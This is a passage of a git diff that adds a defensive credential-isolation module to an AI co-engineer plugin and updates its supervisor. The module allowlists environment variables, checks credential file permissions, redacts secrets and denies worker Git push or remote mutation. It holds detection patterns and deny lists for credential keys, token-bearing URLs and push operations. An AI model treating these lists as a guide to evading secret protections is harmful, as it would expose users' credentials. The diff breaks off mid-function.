consults its denied-operation vocabulary without +mutating Git. 3.2.1 Muse/Ox credential routing (one route never substitutes +the other) is preserved. diff --git a/plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs b/plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs new file mode 100644 index 0000000..6551a29 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs @@ -0,0 +1,668 @@ +// CredentialBoundaryV1 — P29 credential and remote-mutation isolation. +// Closed provider/operation environment projection, owner-only credential +// reads, argv-free secret handoff, exact-value redaction, and worker +// push/remote-mutation denial. Not a sandbox: same-UID malicious +// filesystem access is outside this boundary. P23 registry composition +// and P28 Git authority policy remain the accepted seams; this module +// does not wrap them. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { + constants as fsConstants, +} from 'node:fs'; +import { + chmod, + lstat, + mkdtemp, + open, + rmdir, + unlink, +} from 'node:fs/promises'; +import { homedir, tmpdir } from 'node:os'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { capturedFreeze, capturedHasOwn, capturedIncludes } from './grammar.mjs'; +import { DENIED_OPERATIONS } from './git-authority.mjs'; +import { assertNotProxy } from './selection-json.mjs'; + +export const CREDENTIAL_BOUNDARY_SCHEMA_ID = 'codex-co-engineer.credential-boundary.v1'; +export const CREDENTIAL_BOUNDARY_VERSION = 1; +export const MAX_CREDENTIAL_BYTES = 16 * 1024; +export const MAX_HANDOFF_BYTES = 64 * 1024; +export const REDACTION_FRAGMENT_BYTES = 32; +export const REDACTION_FRAGMENT_STRIDE = 16; +export const REDACTED = '[REDACTED]'; +export const HANDOFF_ENV_KEY = 'CODEX_CO_ENGINEER_CREDENTIAL_HANDOFF'; +export const DEFAULT_DSH_MODEL = 'muse-spark-1.2-contributor'; +export const DSH_OX_MODEL = 'stealth/ox-alpha'; + +export const OPERATIONAL_ENV_KEYS = capturedFreeze([ + 'HOME', 'LANG', 'LC_ALL', 'LC_CTYPE', 'LOGNAME', 'PATH', 'TERM', 'TMPDIR', + 'TZ', 'USER', 'XDG_CACHE_HOME', 'XDG_CONFIG_HOME', 'XDG_DATA_HOME', + 'XDG_STATE_HOME', +]); + +export const SYSTEMD_CLIENT_ENV_KEYS = capturedFreeze([ + 'DBUS_SESSION_BUS_ADDRESS', 'XDG_RUNTIME_DIR', 'XDG_SESSION_ID', +]); + +export const GIT_INSPECT_ENV = capturedFreeze({ + PATH: '/usr/bin:/bin', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_ALLOW_PROTOCOL: '', + GIT_PROTOCOL_FROM_USER: '0', + GIT_TERMINAL_PROMPT: '0', + GIT_OPTIONAL_LOCKS: '0', + GIT_PAGER: 'cat', + GIT_ASKPASS: '', + LANG: 'C', + LC_ALL: 'C', + TZ: 'UTC', +}); + +export const GIT_HARDENING_ENV = capturedFreeze({ + GIT_TERMINAL_PROMPT: '0', + GIT_ASKPASS: '', + GIT_PUSH_OPTION_COUNT: '0', +}); + +export const CREDENTIAL_ENV_KEYS = capturedFreeze([ + 'CURSOR_API_KEY', 'MODEL_API_KEY', 'OPENROUTER_API_KEY', 'XAI_API_KEY', +]); + +export const CREDENTIAL_FILE_ENV_KEYS = capturedFreeze([ + 'CODEX_CO_ENGINEER_MODEL_API_KEY_FILE', + 'CODEX_CO_ENGINEER_OPENROUTER_API_KEY_FILE', + 'CURSOR_API_KEY_FILE', +]); + +export const PROVIDER_COMMAND_KEYS = capturedFreeze([ + 'CODEX_CO_ENGINEER_ACPX_COMMAND', + 'CODEX_CO_ENGINEER_CURSOR_COMMAND', + 'CODEX_CO_ENGINEER_DSH_ACP_COMMAND', + 'CODEX_CO_ENGINEER_DSH_ACP_CONFIG', + 'CODEX_CO_ENGINEER_DSH_COMMAND', + 'CODEX_CO_ENGINEER_DSH_OX_ACP_CONFIG', + 'CODEX_CO_ENGINEER_DSH_PROFILE', + 'CODEX_CO_ENGINEER_GROK_COMMAND', +]); + +export const DSH_ROUTE = capturedFreeze({ + [DEFAULT_DSH_MODEL]: capturedFreeze({ + credentialEnv: 'MODEL_API_KEY', + credentialFileEnv: 'CODEX_CO_ENGINEER_MODEL_API_KEY_FILE', + credentialFile: 'model-api-key', + configEnv: 'CODEX_CO_ENGINEER_DSH_ACP_CONFIG', + }), + [DSH_OX_MODEL]: capturedFreeze({ + credentialEnv: 'OPENROUTER_API_KEY', + credentialFileEnv: 'CODEX_CO_ENGINEER_OPENROUTER_API_KEY_FILE', + credentialFile: 'openrouter-api-key', + configEnv: 'CODEX_CO_ENGINEER_DSH_OX_ACP_CONFIG', + }), +}); + +export const CREDENTIAL_BOUNDARY_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'credential_empty', 'credential_file_changed', + 'credential_hardlink_denied', 'credential_owner_denied', + 'credential_permissions', 'credential_symlink_denied', + 'credential_too_large', 'credential_unreadable', 'exotic_prototype_denied', + 'invalid_credential_file', 'invalid_credential_path', 'invalid_env', + 'invalid_handoff', 'invalid_provider', 'proxy_denied', 'push_url_denied', + 'remote_mutation_denied', 'symbol_key_denied', +]); + +const OPEN_READ_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0) + | (fsConstants.O_CLOEXEC ?? 0); + +const OPEN_WRITE_FLAGS = fsConstants.O_WRONLY + | fsConstants.O_CREAT + | fsConstants.O_EXCL + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_CLOEXEC ?? 0); + +const IS_PROXY = utilTypes.isProxy; +const BYTE_LENGTH = NodeBuffer.byteLength.bind(NodeBuffer); +const OBJECT_HAS_OWN = Object.hasOwn; +const GET_DESCRIPTOR = Object.getOwnPropertyDescriptor; +const OBJECT_PROTOTYPE = Object.prototype; + +const CREDENTIAL_KEY_PATTERN = /(?:api[_-]?key|authorization|access[_-]?token|refresh[_-]?token|bearer|token|password|secret|credential|private[_-]?key)$/iu; +const HOSTING_KEY_PATTERN = /^(?:GH|GITHUB|GITLAB|GL|BITBUCKET|BB|HG|GITEA|FORGEJO|SOURCEHUT)_/u; +const GIT_KEY_PATTERN = /^GIT_/u; +const SSH_KEY_PATTERN = /^SSH_/u; +const CONTROL_KEY_PATTERN = /^(?:WORKTREE_BOOTSTRAP_|CODEX_CO_ENGINEER_STATE_DIR$|MCP_|SUPERVISOR_)/u; +const PUSH_URL_KEY_PATTERN = /(?:pushurl|insteadOf|askpass|credential)/iu; +const USERINFO_URL = /^(?:[a-z][a-z0-9+.-]*:\/\/)[^/@\s]+@/iu; +const TOKEN_QUERY = /[?&](?:token|access_token|api[_-]?key|secret|password|credential)=/iu; +const SCP_USERINFO = /^(?![a-z][a-z0-9+.-]*:\/\/)[^@\s]+@[^@\s]+:/u; + +const CONTENT_FREE = capturedFreeze({ + accessor_property_denied: 'Environment input cannot use accessor properties.', + credential_empty: 'Provider credential configuration is invalid.', + credential_file_changed: 'Provider credential configuration is invalid.', + credential_hardlink_denied: 'Provider credential configuration is invalid.', + credential_owner_denied: 'Provider credential configuration is invalid.', + credential_permissions: 'Provider credential configuration is invalid.', + credential_symlink_denied: 'Provider credential configuration is invalid.', + credential_too_large: 'Provider credential configuration is invalid.', + credential_unreadable: 'Provider credential configuration is invalid.', + exotic_prototype_denied: 'Environment input is not a direct data object.', + invalid_credential_file: 'Provider credential configuration is invalid.', + invalid_credential_path: 'Provider credential configuration is invalid.', + invalid_env: 'Provider environment is invalid.', + invalid_handoff: 'Provider credential configuration is invalid.', + invalid_provider: 'Unsupported provider.', + proxy_denied: 'Environment input cannot be a Proxy.', + push_url_denied: 'Worker push URLs are not authorized.', + remote_mutation_denied: 'Worker remote mutation is not authorized.', + symbol_key_denied: 'Environment input cannot use symbol keys.', +}); + +export class CredentialBoundaryError extends Error { + constructor(code, message, options) { + super(message, options); + this.name = 'CredentialBoundaryError'; + this.code = code; + } +} + +function fail(code, options) { + throw new CredentialBoundaryError(code, CONTENT_FREE[code] ?? CONTENT_FREE.invalid_env, options); +} + +function requirePlainSource(source, field = 'env') { + if (source == null || (typeof source !== 'object' && typeof source !== 'function') || Array.isArray(source)) { + fail('invalid_env'); + } + if (IS_PROXY(source)) fail('proxy_denied'); + try { + assertNotProxy(source, field); + } catch (error) { + if (error?.code === 'proxy_denied') fail('proxy_denied'); + throw error; + } + const proto = Object.getPrototypeOf(source); + if (proto !== null && proto !== OBJECT_PROTOTYPE && source !== process.env) { + // process.env is a special object; other exotic prototypes are denied. + if (proto !== Object.getPrototypeOf(process.env)) fail('exotic_prototype_denied'); + } + return source; +} + +function ownString(source, key) { + if (typeof key === 'symbol') fail('symbol_key_denied'); + if (!OBJECT_HAS_OWN(source, key)) return undefined; + const descriptor = GET_DESCRIPTOR(source, key); + if (descriptor === undefined || !descriptor.enumerable) fail('accessor_property_denied'); + if (typeof descriptor.get === 'function' || typeof descriptor.set === 'function') { + fail('accessor_property_denied'); + } + const value = descriptor.value; + if (value === undefined) return undefined; + if (typeof value !== 'string' || value.includes('\0')) fail('invalid_env'); + return value; +} + +function copyKeys(source, keys, output) { + for (const key of keys) { + const value = ownString(source, key); + if (value !== undefined && value.length > 0) output[key] = value; + } + return output; +} + +export function isCredentialEnvKey(name) { + if (typeof name !== 'string' || name.length === 0) return false; + if (capturedIncludes(CREDENTIAL_ENV_KEYS, name)) return true; + if (capturedIncludes(CREDENTIAL_FILE_ENV_KEYS, name)) return true; + return CREDENTIAL_KEY_PATTERN.test(name); +} + +export function isForbiddenProviderEnvKey(name) { + if (typeof name !== 'string' || name.length === 0) return true; + if (GIT_KEY_PATTERN.test(name) && !capturedHasOwn(GIT_HARDENING_ENV, name)) return true; + if (SSH_KEY_PATTERN.test(name)) return true; + if (HOSTING_KEY_PATTERN.test(name)) return true; + if (CONTROL_KEY_PATTERN.test(name)) return true; + if (capturedIncludes(CREDENTIAL_FILE_ENV_KEYS, name)) return true; + if (PUSH_URL_KEY_PATTERN.test(name)) return true; + if (name === HANDOFF_ENV_KEY) return true; + if (name === 'NODE_OPTIONS' || name === 'NODE_PATH' || name === 'NODE_REPL_EXTERNAL_MODULE') return true; + return false; +} + +function resolveDshRoute(dshModel) { + const model = dshModel ?? DEFAULT_DSH_MODEL; + const route = DSH_ROUTE[model]; + if (!route) fail('invalid_provider'); + return route; +} + +function providerAllowlist(provider, dshModel, operation) { + const keys = [...OPERATIONAL_ENV_KEYS]; + if (operation === 'systemd_client') return [...SYSTEMD_CLIENT_ENV_KEYS]; + if (operation === 'sdk_probe') return [...OPERATIONAL_ENV_KEYS, 'npm_config_prefix', 'NPM_CONFIG_PREFIX']; + if (operation === 'git_inspect') return []; + if (provider === 'grok') { + keys.push('XAI_API_KEY', 'CODEX_CO_ENGINEER_GROK_COMMAND'); + } else if (provider === 'cursor-local') { + keys.push('CODEX_CO_ENGINEER_CURSOR_COMMAND'); + } else if (provider === 'cursor-cloud') { + keys.push('CURSOR_API_KEY'); + } else if (provider === 'dsh') { + const route = resolveDshRoute(dshModel); + keys.push( + 'CODEX_CO_ENGINEER_DSH_COMMAND', + 'CODEX_CO_ENGINEER_ACPX_COMMAND', + 'CODEX_CO_ENGINEER_DSH_ACP_COMMAND', + 'CODEX_CO_ENGINEER_DSH_PROFILE', + route.configEnv, + ); + if (operation !== 'readiness_probe') keys.push(route.credentialEnv); + } else if (provider !== undefined) { + fail('invalid_provider'); + } + return keys.filter((key) => !isForbiddenProviderEnvKey(key) || capturedHasOwn(GIT_HARDENING_ENV, key)); +} + +export function projectProviderEnvironment({ + provider, source = process.env, dshModel, operation = 'lane', +} = {}) { + const envSource = requirePlainSource(source); + if (operation === 'git_inspect') return { ...GIT_INSPECT_ENV }; + if (operation === 'systemd_client') { + const output = Object.create(null); + copyKeys(envSource, SYSTEMD_CLIENT_ENV_KEYS, output); + return output; + } + const output = Object.create(null); + copyKeys(envSource, providerAllowlist(provider, dshModel, operation), output); + if (operation === 'lane' || operation === 'readiness') { + Object.assign(output, GIT_HARDENING_ENV); + } + if (provider === 'dsh') { + const route = resolveDshRoute(dshModel); + for (const other of Object.values(DSH_ROUTE)) { + if (other.credentialEnv !== route.credentialEnv) delete output[other.credentialEnv]; + delete output[other.credentialFileEnv]; + } + } else { + delete output.MODEL_API_KEY; + delete output.OPENROUTER_API_KEY; + if (provider !== 'grok') delete output.XAI_API_KEY; + if (provider !== 'cursor-cloud') delete output.CURSOR_API_KEY; + } + for (const key of CREDENTIAL_FILE_ENV_KEYS) delete output[key]; + return output; +} + +export function systemdClientEnvironment(source = process.env) { + return projectProviderEnvironment({ source, operation: 'systemd_client' }); +} + +export function extractCredentialEnv(env) { + const source = requirePlainSource(env); + const secrets = Object.create(null); + for (const key of CREDENTIAL_ENV_KEYS) { + const value = ownString(source, key); + if (value !== undefined && value.length > 0) secrets[key] = value; + } + return secrets; +} + +export function omitCredentialEnv(env) { + const source = requirePlainSource(env); + const output = Object.create(null); + for (const key of Reflect.ownKeys(source)) { + if (typeof key !== 'string') fail('symbol_key_denied'); + if (isCredentialEnvKey(key)) continue; + const value = ownString(source, key); + if (value !== undefined) output[key] = value; + } + return output; +} + +function configHome(source) { + const xdg = ownString(source, 'XDG_CONFIG_HOME'); + if (xdg) { + if (!path.isAbsolute(xdg) || path.resolve(xdg) !== xdg) fail('invalid_credential_path'); + return xdg; + } + const home = ownString(source, 'HOME'); + const root = home && path.isAbsolute(home) ? path.resolve(home) : homedir(); + return path.join(root, '.config'); +} + +function requireAbsolutePath(filePath) { + if (typeof filePath !== 'string' || filePath.length === 0 || filePath.includes('\0')) { + fail('invalid_credential_path'); + } + if (!path.isAbsolute(filePath) || path.resolve(filePath) !== filePath || filePath.includes('//')) { + fail('invalid_credential_path'); + } + return filePath; +} + +function sameFileIdentity(left, right) { + return left.dev === right.dev + && left.ino === right.ino + && left.mode === right.mode + && left.nlink === right.nlink + && left.uid === right.uid + && left.gid === right.gid + && left.size === right.size + && left.mtimeNs === right.mtimeNs + && left.ctimeNs === right.ctimeNs; +} + +function validateCredentialStat(metadata, maxBytes = MAX_CREDENTIAL_BYTES) { + if (typeof metadata?.isSymbolicLink === 'function' && metadata.isSymbolicLink()) { + fail('credential_symlink_denied'); + } + if (typeof metadata?.isFile !== 'function' || !metadata.isFile()) fail('invalid_credential_file'); + if (metadata.nlink !== 1n && metadata.nlink !== 1) fail('credential_hardlink_denied'); + const uid = typeof process.geteuid === 'function' ? process.geteuid() : process.getuid?.(); + if (Number.isInteger(uid) && Number(metadata.uid) !== uid) fail('credential_owner_denied'); + const mode = Number(metadata.mode); + if ((mode & 0o077) !== 0) fail('credential_permissions'); + const size = Number(metadata.size); + if (!Number.isFinite(size) || size < 0) fail('invalid_credential_file'); + if (size === 0) fail('credential_empty'); + if (size > maxBytes) fail('credential_too_large'); +} + +export async function loadCredentialFile(filePath, { maxBytes = MAX_CREDENTIAL_BYTES } = {}) { + const resolved = requireAbsolutePath(filePath); + let handle; + try { + handle = await open(resolved, OPEN_READ_FLAGS); + } catch (error) { + if (error?.code === 'ELOOP' || error?.code === 'EMLINK') fail('credential_symlink_denied', { cause: error }); + if (error?.code === 'ENOENT' || error?.code === 'ENOTDIR') fail('invalid_credential_file', { cause: error }); + fail('credential_unreadable', { cause: error }); + } + try { + const before = await handle.stat({ bigint: true }); + validateCredentialStat(before, maxBytes); + if (Number(before.size) > maxBytes) fail('credential_too_large'); + const bytes = await handle.readFile(); + const after = await handle.stat({ bigint: true }); + if (!sameFileIdentity(before, after) || bytes.length !== Number(before.size)) { + fail('credential_file_changed'); + } + const text = bytes.toString('utf8').trim(); + if (!text || text.includes('\0')) fail('invalid_credential_file'); + if (BYTE_LENGTH(text) > maxBytes) fail('credential_too_large'); + return text; + } finally { + await handle.close().catch(() => {}); + } +} + +function credentialSpec(provider, dshModel) { + if (provider === 'grok') { + return { credentialEnv: 'XAI_API_KEY', credentialFileEnv: null, defaultFile: null }; + } + if (provider === 'cursor-cloud') { + return { + credentialEnv: 'CURSOR_API_KEY', + credentialFileEnv: 'CURSOR_API_KEY_FILE', + defaultFile: ['cursor-cloud-control', 'api-key'], + }; + } + if (provider === 'dsh') { + const route = resolveDshRoute(dshModel); + return { + credentialEnv: route.credentialEnv, + credentialFileEnv: route.credentialFileEnv, + defaultFile: ['codex-co-engineer', route.credentialFile], + }; + } + if (provider === 'cursor-local') return null; + fail('invalid_provider'); +} + +export async function loadProviderCredential({ provider, source = process.env, dshModel } = {}) { + const envSource = requirePlainSource(source); + const spec = credentialSpec(provider, dshModel); + if (!spec) return null; + const existing = ownString(envSource, spec.credentialEnv)?.trim(); + if (existing) { + if (BYTE_LENGTH(existing) > MAX_CREDENTIAL_BYTES) fail('credential_too_large'); + return { name: spec.credentialEnv, value: existing }; + } + if (!spec.defaultFile && !spec.credentialFileEnv) return null; + const override = spec.credentialFileEnv ? ownString(envSource, spec.credentialFileEnv)?.trim() : undefined; + const file = override || path.join(configHome(envSource), ...spec.defaultFile); + return { name: spec.credentialEnv, value: await loadCredentialFile(requireAbsolutePath(path.resolve(file))) }; +} + +export async function materializeProviderEnvironment({ + provider, source = process.env, dshModel, operation = 'lane', +} = {}) { + const projected = projectProviderEnvironment({ provider, source, dshModel, operation }); + if (operation === 'readiness_probe' && (provider === 'dsh' || provider === undefined)) { + return projected; + } + if (operation === 'sdk_probe' || operation === 'git_inspect' || operation === 'systemd_client') { + return projected; + } + try { + const loaded = await loadProviderCredential({ provider, source, dshModel }); + if (loaded) projected[loaded.name] = loaded.value; + } catch (error) { + if (operation === 'readiness' || operation === 'readiness_probe') throw error; + if (provider === 'dsh' || provider === 'cursor-cloud') throw error; + } + for (const key of CREDENTIAL_FILE_ENV_KEYS) delete projected[key]; + return projected; +} + +export function collectLaneSecrets(env = process.env) { + const source = requirePlainSource(env); + const secrets = []; + for (const key of CREDENTIAL_ENV_KEYS) { + const value = ownString(source, key); + if (value) secrets.push(value); + } + return secrets; +} + +export function credentialRedactionFragments(secret) { + if (typeof secret !== 'string' || secret.length === 0) return []; + const fragments = [secret]; + const bytes = NodeBuffer.from(secret, 'utf8'); + if (bytes.length <= REDACTION_FRAGMENT_BYTES) return fragments; + for (let offset = 0; offset <= bytes.length - REDACTION_FRAGMENT_BYTES; offset += REDACTION_FRAGMENT_STRIDE) { + fragments.push(bytes.subarray(offset, offset + REDACTION_FRAGMENT_BYTES).toString('utf8')); + } + const tail = bytes.subarray(bytes.length - REDACTION_FRAGMENT_BYTES).toString('utf8'); + if (!fragments.includes(tail)) fragments.push(tail); + return fragments; +} + +function redactSecretSlices(text, secret, minimum = REDACTION_FRAGMENT_BYTES) { + if (typeof secret !== 'string' || secret.length < 4 || text.length === 0) return text; + if (text.includes(secret)) return text.split(secret).join(REDACTED); + if (secret.includes(text) && text.length >= 4) return REDACTED; + const needle = Math.min(minimum, secret.length); + let output = text; + let index = 0; + while (index <= output.length - needle) { + const window = output.slice(index, index + needle); + const found = secret.indexOf(window); + if (found < 0) { + index += 1; + continue; + } + let length = needle; + while (index + length < output.length && found + length < secret.length + && output[index + length] === secret[found + length]) { + length += 1; + } + output = `${output.slice(0, index)}${REDACTED}${output.slice(index + length)}`; + index += REDACTED.length; + } + return output; +} + +export function redactExactValues(value, secrets = []) { + let text = String(value ?? ''); + const ordered = [...secrets] + .filter((secret) => typeof secret === 'string' && secret.length >= 4) + .sort((left, right) => right.length - left.length); + for (const secret of ordered) text = redactSecretSlices(text, secret); + return text; +} + +function runtimeHandoffRoot() { + const runtime = process.env.XDG_RUNTIME_DIR; + if (typeof runtime === 'string' && path.isAbsolute(runtime) && path.resolve(runtime) === runtime) { + return runtime; + } + return tmpdir(); +} + +export async function createCredentialHandoff(secrets, { directory } = {}) { + const payloadEnv = Object.create(null); + const source = requirePlainSource(secrets); + for (const key of Reflect.ownKeys(source)) { + if (typeof key !== 'string') fail('symbol_key_denied'); + if (!isCredentialEnvKey(key)) continue; + const value = ownString(source, key); + if (value !== undefined) payloadEnv[key] = value; + } + const json = `${JSON.stringify({ schema: CREDENTIAL_BOUNDARY_SCHEMA_ID, version: CREDENTIAL_BOUNDARY_VERSION, env: payloadEnv })}\n`; + if (BYTE_LENGTH(json) > MAX_HANDOFF_BYTES) fail('credential_too_large'); + const root = directory ?? await mkdtemp(path.join(runtimeHandoffRoot(), 'cce-p29-handoff-')); + await chmod(root, 0o700).catch(() => {}); + const filePath = path.join(root, 'env.json'); + const handle = await open(requireAbsolutePath(filePath), OPEN_WRITE_FLAGS, 0o600); + try { + await handle.writeFile(json, 'utf8'); + await handle.datasync?.().catch(() => {}); + const metadata = await handle.stat({ bigint: true }); + validateCredentialStat(metadata, MAX_HANDOFF_BYTES); + } finally { + await handle.close().catch(() => {}); + } + return { path: filePath, directory: root }; +} + +export async function cleanupCredentialHandoff(target) { + const filePath = typeof target === 'string' ? target : target?.path; + if (!filePath) return { cleaned: true, missing: true }; + try { + requireAbsolutePath(filePath); + } catch { + return { cleaned: false, missing: true }; + } + try { + const metadata = await lstat(filePath); + if (metadata.isSymbolicLink() || !metadata.isFile()) fail('invalid_handoff'); + await unlink(filePath); + } catch (error) { + if (error?.code !== 'ENOENT') { + if (error instanceof CredentialBoundaryError) throw error; + fail('invalid_handoff', { cause: error }); + } + } + const dir = path.dirname(filePath); + try { + await rmdir(dir); + } catch { + // Directory may still contain unrelated files; leave it. + } + return { cleaned: true, missing: false }; +} + +export async function consumeCredentialHandoff(filePath) { + const resolved = requireAbsolutePath(filePath); + let payload; + try { + const text = await loadCredentialFile(resolved, { maxBytes: MAX_HANDOFF_BYTES }); + payload = JSON.parse(text); + } catch (error) { + await cleanupCredentialHandoff(resolved).catch(() => {}); + if (error instanceof CredentialBoundaryError) throw error; + fail('invalid_handoff', { cause: error }); + } + await cleanupCredentialHandoff(resolved).catch(() => {}); + if (!payload || payload.schema !== CREDENTIAL_BOUNDARY_SCHEMA_ID || payload.version !== CREDENTIAL_BOUNDARY_VERSION + || !payload.env || typeof payload.env !== 'object' || Array.isArray(payload.env)) { + fail('invalid_handoff'); + } + requirePlainSource(payload.env, 'handoff.env'); + const env = Object.create(null); + for (const key of CREDENTIAL_ENV_KEYS) { + const value = ownString(payload.env, key); + if (value !== undefined) env[key] = value; + } + return env; +} + +export function assertCredentialFreeRemote(value) { + if (value == null) return value; + if (typeof value !== 'string' || value.length === 0 || value.includes('\0')) fail('push_url_denied'); + if (USERINFO_URL.test(value) || TOKEN_QUERY.test(value) || /:\/\//u.test(value) && /@/u.test(value)) { + fail('push_url_denied'); + } + if (/\bpushurl\b/iu.test(value) || /\binsteadof\b/iu.test(value)) fail('push_url_denied'); + return value; +} + +export function denyWorkerRemoteMutation(operation) { + if (typeof operation !== 'string' || operation.length === 0) fail('remote_mutation_denied'); + if (capturedIncludes(DENIED_OPERATIONS, operation)) fail('remote_mutation_denied'); + if (/^(?:push|force_push|merge|rebase|create_pr|merge_pr|tag_create|tag_delete|release_create|remote_mutate|credential_helper|fetch|pull|delete_ref|protected_ref_update)$/u.test(operation)) { + fail('remote_mutation_denied'); + } + return operation; +} + +export function assertNoWorkerPushUrl(value) { + if (value == null) return value; + if (typeof value !== 'object') return assertCredentialFreeRemote(value); + requirePlainSource(value, 'remote'); + for (const key of ['pushurl', 'pushUrl', 'push_url', 'url', 'insteadOf', 'insteadof']) { + if (OBJECT_HAS_OWN(value, key)) { + denyWorkerRemoteMutation('remote_mutate'); + } + } + return value; +} + +export function spawnProviderChild(command, args, { cwd, env, stdio = 'pipe', detached = false, spawn = nodeSpawn } = {}) { + const projected = env ?? {}; + requirePlainSource(projected); + for (const key of Reflect.ownKeys(projected)) { + if (typeof key !== 'string') fail('symbol_key_denied'); + if (isForbiddenProviderEnvKey(key) && !capturedHasOwn(GIT_HARDENING_ENV, key) && !isCredentialEnvKey(key)) { + fail('invalid_env'); + } + } + return spawn(command, args, { cwd, env: projected, stdio, detached, shell: false }); +} + +export function inspectEnvForSecrets(env, secrets = []) { + const serialized = JSON.stringify(env ?? {}); + for (const secret of secrets) { + if (typeof secret === 'string' && secret.length >= 4 && serialized.includes(secret)) return true; + } + return false; +} + +export function inspectArgvForSecrets(argv, secrets = []) { + const serialized = JSON.stringify(argv ?? []); + for (const secret of secrets) { + if (typeof secret === 'string' && secret.length >= 4 && serialized.includes(secret)) return true; + } + return false; +} diff --git a/plugins/codex-co-engineer/mcp/v3/supervisor.mjs b/plugins/codex-co-engineer/mcp/v3/supervisor.mjs index a97f32c..85c4e4e 100644 --- a/plugins/codex-co-engineer/mcp/v3/supervisor.mjs +++ b/plugins/codex-co-engineer/mcp/v3/supervisor.mjs @@ -1,11 +1,17 @@ import { spawn as nodeSpawn, execFile as nodeExecFile } from 'node:child_process'; import { readFileSync } from 'node:fs'; -import { open, readFile, realpath, stat } from 'node:fs/promises'; +import { open, realpath, stat } from 'node:fs/promises'; import { homedir } from 'node:os'; import path from 'node:path'; import { fileURLToPath } from 'node:url'; import { promisify } from 'node:util'; +import { + CredentialBoundaryError, + materializeProviderEnvironment, + projectProviderEnvironment, +} from './credential-boundary.mjs'; + import { ACTIVE_STATUSES, VERSION, @@ -140,7 +146,10 @@ function fail(code, message) { } function publicStartupError(error, fallbackCode = 'worker_start_failed') { - const rawCode = typeof error?.code === 'string' ? error.code : fallbackCode; + const mapped = error instanceof CredentialBoundaryError + ? (PUBLIC_STARTUP_MESSAGES[error.code] ? error.code : (error.code === 'credential_too_large' || error.code === 'credential_empty' || error.code === 'credential_file_changed' || error.code === 'credential_hardlink_denied' || error.code === 'credential_owner_denied' || error.code === 'credential_symlink_denied' || error.code === 'credential_unreadable' || error.code === 'invalid_credential_path' || error.code === 'invalid_handoff' ? 'invalid_credential_file' : error.code)) + : (typeof error?.code === 'string' ? error.code : fallbackCode); + const rawCode = typeof mapped === 'string' ? mapped : fallbackCode; const code = /^[A-Za-z0-9._-]{1,96}$/u.test(rawCode) ? rawCode : fallbackCode; const message = PUBLIC_STARTUP_MESSAGES[code] ?? PUBLIC_STARTUP_MESSAGES[fallbackCode] ?? 'The worker failed to start.'; // Startup failures cross the MCP boundary. Keep the public error bounded and @@ -181,21 +190,20 @@ function providerArgv(provider, env = process.env, dshModel) { } async function workerEnvironment(provider, source = process.env, dshModel) { - const env = { ...source }; - if (provider !== 'dsh') return env; - const selection = DSH_MODELS[resolveDshModel(dshModel)]; - if (env[selection.credentialEnv]) return env; - const file = env[selection.credentialFileEnv] ?? path.join( - env.XDG_CONFIG_HOME ? path.resolve(env.XDG_CONFIG_HOME) : path.join(env.HOME ? path.resolve(env.HOME) : homedir(), '.config'), - 'codex-co-engineer', - selection.credentialFile, - ); - const metadata = await stat(file); - if ((metadata.mode & 0o077) !== 0) fail('credential_permissions', 'DSH credential file must be owner-only.'); - const key = (await readFile(file, 'utf8')).trim(); - if (!key || key.includes('\0') || Buffer.byteLength(key) > 16 * 1024) fail('invalid_credential_file', 'DSH credential file is invalid.'); - env[selection.credentialEnv] = key; - return env; + try { + return await materializeProviderEnvironment({ + provider, + source, + dshModel: provider === 'dsh' ? resolveDshModel(dshModel) : undefined, + operation: 'lane', + }); + } catch (error) { + if (error instanceof CredentialBoundaryError) { + const code = PUBLIC_STARTUP_MESSAGES[error.code] ? error.code : 'invalid_credential_file'; + fail(code === 'credential_permissions' ? 'credential_permissions' : 'invalid_credential_file', error.message); + } + throw error; + } } async function localBoundaryReadiness(probe = probeProcessBoundary) { @@ -903,10 +911,11 @@ function processGroupAlive(processGroup) { const wait = (milliseconds) => new Promise((resolve) => setTimeout(resolve, milliseconds)); -async function probeCommand(command, args, authenticatedPattern) { +async function probeCommand(command, args, authenticatedPattern, env) { try { const { stdout, stderr } = await execFile(command, args, { cwd: '/tmp', encoding: 'utf8', timeout: 5_000, maxBuffer: 256 * 1024, + env, }); const output = `${stdout}${stderr}`; if (/not signed in|not authenticated|log ?in required|unauthori[sz]ed/iu.test(output)) { @@ -919,17 +928,20 @@ async function probeCommand(command, args, authenticatedPattern) { } async function providerReadiness(env = process.env) { - const grokCommand = env.CODEX_CO_ENGINEER_GROK_COMMAND ?? 'grok'; - const cursorCommand = env.CODEX_CO_ENGINEER_CURSOR_COMMAND ?? 'cursor-agent'; - const dshCommand = env.CODEX_CO_ENGINEER_DSH_COMMAND ?? 'dsh'; - const acpxCommand = env.CODEX_CO_ENGINEER_ACPX_COMMAND ?? 'acpx'; - const dshAcpCommand = env.CODEX_CO_ENGINEER_DSH_ACP_COMMAND ?? 'dsh-acp-demo'; + const grokEnv = projectProviderEnvironment({ provider: 'grok', source: env, operation: 'readiness' }); + const cursorLocalEnv = projectProviderEnvironment({ provider: 'cursor-local', source: env, operation: 'readiness' }); + const dshProbeEnv = projectProviderEnvironment({ provider: 'dsh', source: env, dshModel: DEFAULT_DSH_MODEL, operation: 'readiness_probe' }); + const grokCommand = grokEnv.CODEX_CO_ENGINEER_GROK_COMMAND ?? 'grok'; + const cursorCommand = cursorLocalEnv.CODEX_CO_ENGINEER_CURSOR_COMMAND ?? 'cursor-agent'; + const dshCommand = dshProbeEnv.CODEX_CO_ENGINEER_DSH_COMMAND ?? 'dsh'; + const acpxCommand = dshProbeEnv.CODEX_CO_ENGINEER_ACPX_COMMAND ?? 'acpx'; + const dshAcpCommand = dshProbeEnv.CODEX_CO_ENGINEER_DSH_ACP_COMMAND ?? 'dsh-acp-demo'; const [grok, cursorLocal, dshCli, acpx, dshAcp, dshMuseCredential, dshOxCredential, cursorCloud] = await Promise.all([ - probeCommand(grokCommand, ['models']), - probeCommand(cursorCommand, ['status'], /logged in|authenticated|access token/iu), - probeCommand(dshCommand, ['--version']), - 